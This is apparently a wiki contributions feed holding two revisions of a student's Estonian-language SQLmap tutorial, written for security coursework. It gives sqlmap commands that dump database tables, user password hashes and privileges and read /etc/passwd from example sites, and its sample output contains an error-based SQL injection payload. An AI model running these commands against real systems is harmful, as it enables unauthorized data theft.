https://wiki.itcollege.ee/api.php?action=feedcontributions&feedformat=atom&user=Eprudnik
ICO wiki - User contributions [en]
2026-05-07T10:46:19Z
User contributions
MediaWiki 1.45.1
https://wiki.itcollege.ee/index.php?title=BlindSQL_Material&diff=123227
BlindSQL Material
2017-06-06T21:50:03Z
<p>Eprudnik: </p>
<hr />
<div>IT Kolledži Wiki kolimise tõttu asuvad materjalid ajutiselt aadressil [https://docs.google.com/document/d/1w-T-iF83AIan2mOkHyGUAm7DGesuiHtiGmQ2GyRrkvI/edit?usp=sharing]</div>
Eprudnik
https://wiki.itcollege.ee/index.php?title=BlindSQL_Material&diff=122815
BlindSQL Material
2017-05-25T08:58:07Z
<p>Eprudnik: </p>
<hr />
<div>Õpimaterjal on täiendamisel ning lisandub antud lehele kuupäevaks 06.06.17.</div>
Eprudnik
https://wiki.itcollege.ee/index.php?title=BlindSQL_Guide&diff=122814
BlindSQL Guide
2017-05-25T08:57:23Z
<p>Eprudnik: </p>
<hr />
<div>Õpijuhis on täiendamisel ning lisandub antud lehele kuupäevaks 06.06.2017.</div>
Eprudnik
https://wiki.itcollege.ee/index.php?title=BlindSQL_Material&diff=122791
BlindSQL Material
2017-05-25T01:57:50Z
<p>Eprudnik: Created page with "Õpimaterjal on täiendamisel."</p>
<hr />
<div>Õpimaterjal on täiendamisel.</div>
Eprudnik
https://wiki.itcollege.ee/index.php?title=BlindSQL_Guide&diff=122790
BlindSQL Guide
2017-05-25T01:57:07Z
<p>Eprudnik: Created page with "Õpijuhis on täiendamisel."</p>
<hr />
<div>Õpijuhis on täiendamisel.</div>
Eprudnik
https://wiki.itcollege.ee/index.php?title=Sqlmap&diff=88537
Sqlmap
2015-05-14T15:14:56Z
<p>Eprudnik: /* SQLmap */</p>
<hr />
<div>'''''<br />
= SQLmap =<br />
'''''<br />
Autor: Elina Prudnikova <br />
<br />
Rühm: A21<br />
<br />
14.05.2015<br />
'''''<br />
== Lühikirjeldus ==<br />
'''''<br />
SQLmap on avatud lähtekoodiga programm, mida kasutatakse SQL injektsiooni nõrkuste leidmiseks ja ärakasutamiseks, selleks et testida andmebaasiserverite turvalisust. [http://sqlmap.org/]<br />
<br />
SQLmap võimaldab näiteks: luua otseühendust andmebaasiga, alla laadida andmebaasi tabeleid, murda lihtsamaid paroole kasutades sõnastikupõhist rünnet, alla laadida või üles laadida faile andmebaasiserverist, käivitada käske andmebaasiserveris, eskaleerida kasutaja õigusi jne. [http://sqlmap.org/]<br />
<br />
Toetab mitmesuguseid andmebaasisüsteeme: MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB ja HSQLDB. [https://github.com/sqlmapproject/sqlmap/wiki/Features]<br />
<br />
<span style="color:red"> NB! SQLmap'i kasutamine kellegi ründamiseks ilma mõlemapoolse nõusolekuta on kuritegu! Kasutajad võtavad täieliku vastutuse enda tegude eest ning programmi loojad ei vastuta võimaliku väärkasutuse või kahju eest!</span><br />
<br />
'''<br />
==Paigaldamine==<br />
'''<br />
<br />
SQLmap on operatsioonisüsteemist sõltumatu, kuna on kirjutatud keeles Python. Teda on võimalik kasutada nii Windowsis kui ka Linux/Unix all. [https://github.com/sqlmapproject/sqlmap/wiki/Dependencies]<br />
<br />
'''<br />
====Linux/Unix====<br />
'''<br />
<br />
SQLmap'i jaoks on kõigepealt vaja paigaldada Python 2.6 või 2.7 versioon. <br />
<br />
1. Paigalda Python (Debian, Ubuntu).<br />
<br />
<pre>sudo apt-get install python2.6</pre><br />
<br />
2. Kontrolli versiooni.<br />
<br />
<pre>python --version</pre><br />
<br />
3. Seejärel alla laadida SQLmap.<br />
<br />
<pre>wget from http://sqlmap.sourceforge.net/#download</pre><br />
<br />
4. Pakkida see lahti ja käivitada.<br />
<br />
<pre>tar zxvf sqlmap-0.9.tar.gz<br />
<br />
cd sqlmap<br />
<br />
python sqlmap.py</pre><br />
<br />
5. Edukal paigaldamisel tagastab SQLmap:<br />
<br />
<pre>sqlmap/0.9 - automatic SQL injection and database takeover tool<br />
http://sqlmap.sourceforge.net<br />
<br />
Usage: python sqlmap.py [options]<br />
<br />
sqlmap.py: error: missing a mandatory parameter ('-d', '-u', '-l', '-r', '-g', '-c', '--wizard' or '--update'), -h for help</pre><br />
<br />
[https://hackertarget.com/sqlmap-tutorial/ Abi paigaldamisel Linux/Unix all]<br />
<br />
'''<br />
====Windows====<br />
'''<br />
<br />
1. Alla laadida ja paigaldada Python 2.6 või 2.7 kodulehelt: [https://www.python.org/ Python]<br />
<br />
2. Alla laadida zip fail SQLmap'i kodulehelt, pakkida see lahti. [https://sqlmap.org SQLmap] Käsurealt liikuda kataloogi, kuhu see lahti pakiti ja käivitada.<br />
<br />
<pre>C:\sqlmapproject-sqlmap-2defc30>python ./sqlmap.py<br />
Usage: ./sqlmap.py [options]<br />
<br />
sqlmap.py: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wiza<br />
rd, --update, --purge-output or --dependencies), use -h for basic or -hh for adv<br />
anced help<br />
<br />
Press Enter to continue...</pre><br />
<br />
[http://www.binarytides.com/install-run-sqlmap-windows/ Abiks Windowsis paigaldamisel]<br />
<br />
'''<br />
==Süntaks==<br />
'''<br />
<br />
Ülevaade SQLmap'i [https://github.com/sqlmapproject/sqlmap/wiki/Usage süntaksist]. Käsu üldkuju:<br />
<br />
<pre>python sqlmap.py [options]</pre><br />
<br />
Mõned võtmed:<br />
<br />
1. '''Sihtmärk''', kellega ühendutakse:<br />
<br />
<pre><br />
-d DIRECT Otseühendus andmebaasiga<br />
-u URL, --url=URL Sihtmärgi URL (näiteks "www.target.com/vuln.php?id=1")</pre><br />
<br />
2. '''Päring''', kuidas sihtmärgiga ühendutakse:<br />
<br />
<pre><br />
--data=DATA Andmestring saadetakse läbi POST'i<br />
--host=HOST HTTP Host'i päis<br />
--proxy=PROXY Kasutada HTTP proxy't et ühenduda URL'iga<br />
--delay=DELAY Ooteaeg sekundites HTTP päringute vahel<br />
--force-ssl Kasuta SSL/HTTPS'i<br />
</pre><br />
<br />
3. '''Optimiseerimine''':<br />
<br />
<pre>--threads=THREADS Samaaegsete HTTP(s) päringute arv (vaikimisi 1)</pre><br />
<br />
4. '''Andmebaas''':<br />
<br />
<pre><br />
-a, --all Tagasta kõik<br />
--current-user Tagasta hetkel kasutuses oleva kasutaja<br />
--users Loetle kasutajad<br />
--passwords Loetle kasutajate parooliräsid<br />
--privileges Loetle kasutajate privileegid<br />
--roles Loetle kasutajate rollid<br />
--dbs Loetle andmebaasid<br />
--tables Loetle andmebaasi tabelid<br />
--columns Loetle andmebaasi tabeli veerud<br />
--schema Loetle andmebaasi skeem<br />
--dump Väljasta kogu andmebaasi sisu<br />
--dump-all Väljasta kõikide andmebaaside sisu<br />
--search Otsi veergu, tabelit ja/või andmebaasi nime<br />
-D DB Mis andmebaasist loetleda<br />
-T TBL Mis andmebaasi tabelist loetleda<br />
-C COL Mis tabeli veerust loetleda<br />
-U USER Mis kasutaja kohta loetleda<br />
</pre><br />
<br />
5. '''Failid''':<br />
<br />
<pre><br />
--file-read=RFILE Loe fail süsteemist<br />
--file-write=WFILE Kirjuta fail süsteemi<br />
--file-dest=DFILE Absoluutne failitee kuhu kirjutada<br />
</pre><br />
<br />
Lisaks on SQLmap'il veel väga palju muid võtmeid.<br />
<br />
'''<br />
==Kasutamine==<br />
'''<br />
<br />
Kuidas kontrollida, kas veebisait on nõrk SQL injektsiooni suhtes?[http://www.darkmoreops.com/2014/08/28/use-sqlmap-sql-injection-hack-website-database/]<br />
<br />
Olgu lehe aadress:<br />
<br />
<pre>http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15</pre><br />
<br />
Lisame URL'i lõpu märgi '. Nüüd on lehe URL:<br />
<br />
<pre>http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15'</pre><br />
<br />
Kui leht tagastab SQL veateate, on see leht nõrk SQL injektsiooni suhtes.<br />
<br />
'''<br />
====Andmebaasid ja tabelid====<br />
'''<br />
<br />
1. Oletame, et tahame SQLmap'iga testida nõrka veebilehte. Veebilehega '''ühendumiseks''' kasutame võtit '''-u''' (URL).[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>python sqlmap.py -u "http://www.site.com/section.php?id=51"</pre><br />
<br />
Näidisväljund, milles näha opsüsteem, veebiserveri ja andmebaasi tüüp koos versiooninumbriga:[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>[*] starting at 12:10:33<br />
<br />
[12:10:33] [INFO] resuming back-end DBMS 'mysql' <br />
[12:10:34] [INFO] testing connection to the target url<br />
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:<br />
---<br />
Place: GET<br />
Parameter: id<br />
Type: error-based<br />
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause<br />
Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)<br />
---<br />
[12:10:37] [INFO] the back-end DBMS is MySQL<br />
web server operating system: FreeBSD<br />
web application technology: Apache 2.2.22<br />
back-end DBMS: MySQL 5</pre><br />
<br />
2. Kuna antud veebiserver on seega rünnatav, saab näiteks tagastada '''andmebaaside nimekirja''', kasutades võtit '''--dbs''':[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>python sqlmap.py -u "http://www.sitemap.com/section.php?id=51" --dbs</pre><br />
<br />
Näidisväljund, mis näitab andmebaaside nimekirja:[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>[*] starting at 12:12:56<br />
<br />
[12:12:56] [INFO] resuming back-end DBMS 'mysql' <br />
[12:12:57] [INFO] testing connection to the target url<br />
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:<br />
---<br />
Place: GET<br />
Parameter: id<br />
Type: error-based<br />
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause<br />
Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)<br />
---<br />
[12:13:00] [INFO] the back-end DBMS is MySQL<br />
web server operating system: FreeBSD<br />
web application technology: Apache 2.2.22<br />
back-end DBMS: MySQL 5<br />
[12:13:00] [INFO] fetching database names<br />
[12:13:00] [INFO] the SQL query used returns 2 entries<br />
[12:13:00] [INFO] resumed: information_schema<br />
[12:13:00] [INFO] resumed: safecosmetics<br />
available databases [2]:<br />
[*] information_schema<br />
[*] safecosmetics</pre><br />
<br />
3. Leiame '''kõik tabelid''', mis asuvad andmebaasis "safecosmetics":[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>python sqlmap.py -u "http://www.site.com/section.php?id=51" --tables -D safecosmetics</pre><br />
<br />
Näidisväljund:[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>[11:55:18] [INFO] the back-end DBMS is MySQL<br />
web server operating system: FreeBSD<br />
web application technology: Apache 2.2.22<br />
back-end DBMS: MySQL 5<br />
[11:55:18] [INFO] fetching tables for database: 'safecosmetics'<br />
[11:55:19] [INFO] heuristics detected web page charset 'ascii'<br />
[11:55:19] [INFO] the SQL query used returns 216 entries<br />
[11:55:20] [INFO] retrieved: acl_acl<br />
[11:55:21] [INFO] retrieved: acl_acl_sections <br />
........... more tables</pre><br />
<br />
4. Leiame '''veerud tabelis''' "users" andmebaasis "safecosmetics":[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>python sqlmap.py -u "http://www.site.com/section.php?id=51" --columns -D safecosmetics -T users</pre><br />
<br />
Näidisväljund:[http://www.binarytides.com/sqlmap-hacking-tutorial/] <br />
<br />
<pre>[12:17:39] [INFO] the back-end DBMS is MySQL<br />
web server operating system: FreeBSD<br />
web application technology: Apache 2.2.22<br />
back-end DBMS: MySQL 5<br />
[12:17:39] [INFO] fetching columns for table 'users' in database 'safecosmetics'<br />
[12:17:41] [INFO] heuristics detected web page charset 'ascii'<br />
[12:17:41] [INFO] the SQL query used returns 8 entries<br />
[12:17:42] [INFO] retrieved: id<br />
[12:17:43] [INFO] retrieved: int(11) <br />
[12:17:45] [INFO] retrieved: name <br />
[12:17:46] [INFO] retrieved: text <br />
[12:17:47] [INFO] retrieved: password <br />
[12:17:48] [INFO] retrieved: text <br />
<br />
.......<br />
<br />
[12:17:59] [INFO] retrieved: hash<br />
[12:18:01] [INFO] retrieved: varchar(128)<br />
Database: safecosmetics<br />
Table: users<br />
[8 columns]<br />
+-------------------+--------------+<br />
| Column | Type |<br />
+-------------------+--------------+<br />
| email | text |<br />
| hash | varchar(128) |<br />
| id | int(11) |<br />
| name | text |<br />
| password | text |<br />
| permission | tinyint(4) |<br />
| system_allow_only | text |<br />
| system_home | text |<br />
+-------------------+--------------+</pre><br />
<br />
5. Leiame eelnevast '''tabelist andmed''':[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>python sqlmap.py -u "http://www.site.com/section.php?id=51" --dump -D safecosmetics -T users</pre><br />
<br />
Näidisväljund, mis on sarnane mysqldump käsule:[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+<br />
| id | hash | name | email | password | permission | system_home | system_allow_only |<br />
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+<br />
| 1 | 5DIpzzDHFOwnCvPonu | admin | <blank> | <blank> | 3 | <blank> | <blank> |<br />
+----+--------------------+-----------+-----------+----------+------------+-------------+-------------------+</pre><br />
<br />
'''<br />
====Kasutajad====<br />
'''<br />
<br />
1. Järgnev käsk tagastab infot '''kasutajate ja rollide''' kohta.[http://www.binarytides.com/hack-remote-database-sqlmap/]<br />
<br />
<pre>python sqlmap.py -u "http://localhost/weak.php?id=10" --users --passwords --privileges --roles --threads=10</pre><br />
<br />
Näidisväljund:[http://www.binarytides.com/hack-remote-database-sqlmap/]<br />
<br />
<pre>..........<br />
<br />
database management system users [5]:<br />
[*] ''@'localhost'<br />
[*] ''@'localhost.localdomain'<br />
[*] 'root'@'127.0.0.1'<br />
[*] 'root'@'localhost'<br />
[*] 'root'@'localhost.localdomain'<br />
<br />
.............<br />
<br />
database management system users password hashes:<br />
[*] [1]:<br />
password hash: NULL<br />
[*] root [2]:<br />
password hash: *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19<br />
password hash: NULL<br />
<br />
........<br />
<br />
[*] %root% (administrator) [27]:<br />
privilege: ALTER<br />
privilege: ALTER ROUTINE<br />
privilege: CREATE<br />
privilege: CREATE ROUTINE<br />
privilege: CREATE TEMPORARY TABLES<br />
privilege: CREATE USER<br />
privilege: CREATE VIEW<br />
privilege: DELETE<br />
privilege: DROP<br />
privilege: EVENT<br />
privilege: EXECUTE<br />
privilege: FILE<br />
privilege: INDEX<br />
privilege: INSERT<br />
privilege: LOCK TABLES<br />
privilege: PROCESS<br />
privilege: REFERENCES<br />
privilege: RELOAD<br />
privilege: REPLICATION CLIENT<br />
privilege: REPLICATION SLAVE<br />
privilege: SELECT<br />
privilege: SHOW DATABASES<br />
privilege: SHOW VIEW<br />
privilege: SHUTDOWN<br />
privilege: SUPER<br />
privilege: TRIGGER<br />
privilege: UPDATE</pre><br />
<br />
2. Leiame info hetkel kasutusel oleva '''kasutaja, andmebaasi ja hostinime''' kohta:[http://www.binarytides.com/hack-remote-database-sqlmap/]<br />
<br />
<pre>python sqlmap.py -u "http://localhost/weak.php?id=10" --current-user --is-dba --current-db --hostname --threads=10</pre><br />
<br />
Näidisväljund:[http://www.binarytides.com/hack-remote-database-sqlmap/]<br />
<br />
<pre>........<br />
[11:32:33] [INFO] the back-end DBMS is MySQL<br />
web server operating system: Linux Red Hat Enterprise 6 (Santiago)<br />
web application technology: PHP 5.3.3, Apache 2.2.15<br />
back-end DBMS: MySQL 5.0.11<br />
[11:32:33] [INFO] fetching current user<br />
[11:32:33] [INFO] retrieving the length of query output<br />
[11:32:33] [INFO] retrieved: 14<br />
[11:32:38] [INFO] retrieved: root@localhost <br />
current user: 'root@localhost'<br />
[11:32:38] [INFO] fetching current database<br />
[11:32:38] [INFO] retrieving the length of query output<br />
[11:32:38] [INFO] retrieved: 5<br />
[11:32:40] [INFO] resumed: profile_data<br />
current database: 'profile_data'<br />
[11:32:40] [INFO] fetching server hostname<br />
[11:32:40] [INFO] retrieving the length of query output<br />
[11:32:40] [INFO] retrieved: 21<br />
[11:32:48] [INFO] retrieved: localhost.localdomain <br />
hostname: 'localhost.localdomain'<br />
[11:32:48] [INFO] testing if current user is DBA<br />
[11:32:48] [INFO] fetching current user<br />
current user is DBA: False</pre><br />
<br />
3. Leiame kasutaja '''parooliräsi''':[http://www.darkmoreops.com/2014/08/28/use-sqlmap-sql-injection-hack-website-database/]<br />
<br />
<pre>sqlmap -u http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15 -D sqldummywebsite -T user_info -C user_password --dump</pre><br />
<br />
Näidisväljund:[http://www.darkmoreops.com/2014/08/28/use-sqlmap-sql-injection-hack-website-database/]<br />
<br />
<pre>[10:59:15] [INFO] the SQL query used returns 1 entries<br />
[10:59:17] [INFO] retrieved: 24iYBc17xK0e.<br />
[10:59:18] [INFO] analyzing table dump for possible password hashes<br />
Database: sqldummywebsite<br />
Table: user_info<br />
[1 entry]<br />
+---------------+<br />
| user_password |<br />
+---------------+<br />
| 24iYBc17xK0e. |<br />
+---------------+</pre><br />
'''<br />
====Failid====<br />
'''<br />
<br />
1. '''Faili lugemine''' kui on olemas vajalikud õigused, näiteks /etc/passwd:[http://www.binarytides.com/hack-remote-database-sqlmap/]<br />
<br />
<pre>python sqlmap.py -u "http://localhost/weak.php?id=10" --file-read=/etc/passwd --threads=10</pre><br />
<br />
'''<br />
==Kokkuvõte==<br />
'''<br />
<br />
SQLmap on väärtuslik töörist, selleks et mugavalt testida oma süsteemi SQL injektsioonide suhtes ja leida üles olemasolevad nõrkused. Teda on võimalik seadistada vastavalt enda vajadustele ja toetab paljusid andmebaasisüsteeme. Lisaks on ta kasutatav nii Windowsi kui Linux/Unix all. <br />
<br />
'''<br />
==Kasutatud kirjandus==<br />
'''<br />
[http://www.binarytides.com/sqlmap-hacking-tutorial/ Binarytides]<br />
<br />
[http://www.binarytides.com/hack-remote-database-sqlmap/ Binarytides]<br />
<br />
[https://hackertarget.com/sqlmap-tutorial/ Hackertarget]<br />
<br />
[https://github.com/sqlmapproject/sqlmap/wiki/Usage SQLmap Usage]<br />
<br />
[https://github.com/sqlmapproject/sqlmap/wiki/Features SQLmap Features]<br />
<br />
[http://www.darkmoreops.com/2014/08/28/use-sqlmap-sql-injection-hack-website-database/ Darkmoreops]</div>
Eprudnik
https://wiki.itcollege.ee/index.php?title=Sqlmap&diff=88536
Sqlmap
2015-05-14T15:12:06Z
<p>Eprudnik: </p>
<hr />
<div>'''''<br />
= SQLmap =<br />
'''''<br />
Autor: Elina Prudnikova <br />
<br />
Rühm: A21<br />
<br />
Mai 2015<br />
'''''<br />
== Lühikirjeldus ==<br />
'''''<br />
SQLmap on avatud lähtekoodiga programm, mida kasutatakse SQL injektsiooni nõrkuste leidmiseks ja ärakasutamiseks, selleks et testida andmebaasiserverite turvalisust. [http://sqlmap.org/]<br />
<br />
SQLmap võimaldab näiteks: luua otseühendust andmebaasiga, alla laadida andmebaasi tabeleid, murda lihtsamaid paroole kasutades sõnastikupõhist rünnet, alla laadida või üles laadida faile andmebaasiserverist, käivitada käske andmebaasiserveris, eskaleerida kasutaja õigusi jne. [http://sqlmap.org/]<br />
<br />
Toetab mitmesuguseid andmebaasisüsteeme: MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, IBM DB2, SQLite, Firebird, Sybase, SAP MaxDB ja HSQLDB. [https://github.com/sqlmapproject/sqlmap/wiki/Features]<br />
<br />
<span style="color:red"> NB! SQLmap'i kasutamine kellegi ründamiseks ilma mõlemapoolse nõusolekuta on kuritegu! Kasutajad võtavad täieliku vastutuse enda tegude eest ning programmi loojad ei vastuta võimaliku väärkasutuse või kahju eest!</span><br />
<br />
'''<br />
==Paigaldamine==<br />
'''<br />
<br />
SQLmap on operatsioonisüsteemist sõltumatu, kuna on kirjutatud keeles Python. Teda on võimalik kasutada nii Windowsis kui ka Linux/Unix all. [https://github.com/sqlmapproject/sqlmap/wiki/Dependencies]<br />
<br />
'''<br />
====Linux/Unix====<br />
'''<br />
<br />
SQLmap'i jaoks on kõigepealt vaja paigaldada Python 2.6 või 2.7 versioon. <br />
<br />
1. Paigalda Python (Debian, Ubuntu).<br />
<br />
<pre>sudo apt-get install python2.6</pre><br />
<br />
2. Kontrolli versiooni.<br />
<br />
<pre>python --version</pre><br />
<br />
3. Seejärel alla laadida SQLmap.<br />
<br />
<pre>wget from http://sqlmap.sourceforge.net/#download</pre><br />
<br />
4. Pakkida see lahti ja käivitada.<br />
<br />
<pre>tar zxvf sqlmap-0.9.tar.gz<br />
<br />
cd sqlmap<br />
<br />
python sqlmap.py</pre><br />
<br />
5. Edukal paigaldamisel tagastab SQLmap:<br />
<br />
<pre>sqlmap/0.9 - automatic SQL injection and database takeover tool<br />
http://sqlmap.sourceforge.net<br />
<br />
Usage: python sqlmap.py [options]<br />
<br />
sqlmap.py: error: missing a mandatory parameter ('-d', '-u', '-l', '-r', '-g', '-c', '--wizard' or '--update'), -h for help</pre><br />
<br />
[https://hackertarget.com/sqlmap-tutorial/ Abi paigaldamisel Linux/Unix all]<br />
<br />
'''<br />
====Windows====<br />
'''<br />
<br />
1. Alla laadida ja paigaldada Python 2.6 või 2.7 kodulehelt: [https://www.python.org/ Python]<br />
<br />
2. Alla laadida zip fail SQLmap'i kodulehelt, pakkida see lahti. [https://sqlmap.org SQLmap] Käsurealt liikuda kataloogi, kuhu see lahti pakiti ja käivitada.<br />
<br />
<pre>C:\sqlmapproject-sqlmap-2defc30>python ./sqlmap.py<br />
Usage: ./sqlmap.py [options]<br />
<br />
sqlmap.py: error: missing a mandatory option (-d, -u, -l, -m, -r, -g, -c, --wiza<br />
rd, --update, --purge-output or --dependencies), use -h for basic or -hh for adv<br />
anced help<br />
<br />
Press Enter to continue...</pre><br />
<br />
[http://www.binarytides.com/install-run-sqlmap-windows/ Abiks Windowsis paigaldamisel]<br />
<br />
'''<br />
==Süntaks==<br />
'''<br />
<br />
Ülevaade SQLmap'i [https://github.com/sqlmapproject/sqlmap/wiki/Usage süntaksist]. Käsu üldkuju:<br />
<br />
<pre>python sqlmap.py [options]</pre><br />
<br />
Mõned võtmed:<br />
<br />
1. '''Sihtmärk''', kellega ühendutakse:<br />
<br />
<pre><br />
-d DIRECT Otseühendus andmebaasiga<br />
-u URL, --url=URL Sihtmärgi URL (näiteks "www.target.com/vuln.php?id=1")</pre><br />
<br />
2. '''Päring''', kuidas sihtmärgiga ühendutakse:<br />
<br />
<pre><br />
--data=DATA Andmestring saadetakse läbi POST'i<br />
--host=HOST HTTP Host'i päis<br />
--proxy=PROXY Kasutada HTTP proxy't et ühenduda URL'iga<br />
--delay=DELAY Ooteaeg sekundites HTTP päringute vahel<br />
--force-ssl Kasuta SSL/HTTPS'i<br />
</pre><br />
<br />
3. '''Optimiseerimine''':<br />
<br />
<pre>--threads=THREADS Samaaegsete HTTP(s) päringute arv (vaikimisi 1)</pre><br />
<br />
4. '''Andmebaas''':<br />
<br />
<pre><br />
-a, --all Tagasta kõik<br />
--current-user Tagasta hetkel kasutuses oleva kasutaja<br />
--users Loetle kasutajad<br />
--passwords Loetle kasutajate parooliräsid<br />
--privileges Loetle kasutajate privileegid<br />
--roles Loetle kasutajate rollid<br />
--dbs Loetle andmebaasid<br />
--tables Loetle andmebaasi tabelid<br />
--columns Loetle andmebaasi tabeli veerud<br />
--schema Loetle andmebaasi skeem<br />
--dump Väljasta kogu andmebaasi sisu<br />
--dump-all Väljasta kõikide andmebaaside sisu<br />
--search Otsi veergu, tabelit ja/või andmebaasi nime<br />
-D DB Mis andmebaasist loetleda<br />
-T TBL Mis andmebaasi tabelist loetleda<br />
-C COL Mis tabeli veerust loetleda<br />
-U USER Mis kasutaja kohta loetleda<br />
</pre><br />
<br />
5. '''Failid''':<br />
<br />
<pre><br />
--file-read=RFILE Loe fail süsteemist<br />
--file-write=WFILE Kirjuta fail süsteemi<br />
--file-dest=DFILE Absoluutne failitee kuhu kirjutada<br />
</pre><br />
<br />
Lisaks on SQLmap'il veel väga palju muid võtmeid.<br />
<br />
'''<br />
==Kasutamine==<br />
'''<br />
<br />
Kuidas kontrollida, kas veebisait on nõrk SQL injektsiooni suhtes?[http://www.darkmoreops.com/2014/08/28/use-sqlmap-sql-injection-hack-website-database/]<br />
<br />
Olgu lehe aadress:<br />
<br />
<pre>http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15</pre><br />
<br />
Lisame URL'i lõpu märgi '. Nüüd on lehe URL:<br />
<br />
<pre>http://www.sqldummywebsite.com/cgi-bin/item.cgi?item_id=15'</pre><br />
<br />
Kui leht tagastab SQL veateate, on see leht nõrk SQL injektsiooni suhtes.<br />
<br />
'''<br />
====Andmebaasid ja tabelid====<br />
'''<br />
<br />
1. Oletame, et tahame SQLmap'iga testida nõrka veebilehte. Veebilehega '''ühendumiseks''' kasutame võtit '''-u''' (URL).[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>python sqlmap.py -u "http://www.site.com/section.php?id=51"</pre><br />
<br />
Näidisväljund, milles näha opsüsteem, veebiserveri ja andmebaasi tüüp koos versiooninumbriga:[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>[*] starting at 12:10:33<br />
<br />
[12:10:33] [INFO] resuming back-end DBMS 'mysql' <br />
[12:10:34] [INFO] testing connection to the target url<br />
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:<br />
---<br />
Place: GET<br />
Parameter: id<br />
Type: error-based<br />
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause<br />
Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)<br />
---<br />
[12:10:37] [INFO] the back-end DBMS is MySQL<br />
web server operating system: FreeBSD<br />
web application technology: Apache 2.2.22<br />
back-end DBMS: MySQL 5</pre><br />
<br />
2. Kuna antud veebiserver on seega rünnatav, saab näiteks tagastada '''andmebaaside nimekirja''', kasutades võtit '''--dbs''':[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>python sqlmap.py -u "http://www.sitemap.com/section.php?id=51" --dbs</pre><br />
<br />
Näidisväljund, mis näitab andmebaaside nimekirja:[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>[*] starting at 12:12:56<br />
<br />
[12:12:56] [INFO] resuming back-end DBMS 'mysql' <br />
[12:12:57] [INFO] testing connection to the target url<br />
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:<br />
---<br />
Place: GET<br />
Parameter: id<br />
Type: error-based<br />
Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause<br />
Payload: id=51 AND (SELECT 1489 FROM(SELECT COUNT(*),CONCAT(0x3a73776c3a,(SELECT (CASE WHEN (1489=1489) THEN 1 ELSE 0 END)),0x3a7a76653a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)<br />
---<br />
[12:13:00] [INFO] the back-end DBMS is MySQL<br />
web server operating system: FreeBSD<br />
web application technology: Apache 2.2.22<br />
back-end DBMS: MySQL 5<br />
[12:13:00] [INFO] fetching database names<br />
[12:13:00] [INFO] the SQL query used returns 2 entries<br />
[12:13:00] [INFO] resumed: information_schema<br />
[12:13:00] [INFO] resumed: safecosmetics<br />
available databases [2]:<br />
[*] information_schema<br />
[*] safecosmetics</pre><br />
<br />
3. Leiame '''kõik tabelid''', mis asuvad andmebaasis "safecosmetics":[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>python sqlmap.py -u "http://www.site.com/section.php?id=51" --tables -D safecosmetics</pre><br />
<br />
Näidisväljund:[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>[11:55:18] [INFO] the back-end DBMS is MySQL<br />
web server operating system: FreeBSD<br />
web application technology: Apache 2.2.22<br />
back-end DBMS: MySQL 5<br />
[11:55:18] [INFO] fetching tables for database: 'safecosmetics'<br />
[11:55:19] [INFO] heuristics detected web page charset 'ascii'<br />
[11:55:19] [INFO] the SQL query used returns 216 entries<br />
[11:55:20] [INFO] retrieved: acl_acl<br />
[11:55:21] [INFO] retrieved: acl_acl_sections <br />
........... more tables</pre><br />
<br />
4. Leiame '''veerud tabelis''' "users" andmebaasis "safecosmetics":[http://www.binarytides.com/sqlmap-hacking-tutorial/]<br />
<br />
<pre>python sqlmap.py -u "http://www.site.com/section.php?id=51" --columns -D safecosmetics -T users</pre><br />
<br />
Näidisväljund:[http://www.binarytides.com/sqlmap-hacking-tutorial/] <br />
<br />
<pre>[12:17:39] [INFO] the back-end DBMS is MySQL<br />
web server operating system: FreeBSD<br />
web application technology: Apache 2.2.22<br />
back-end DBMS: MySQL 5<br />
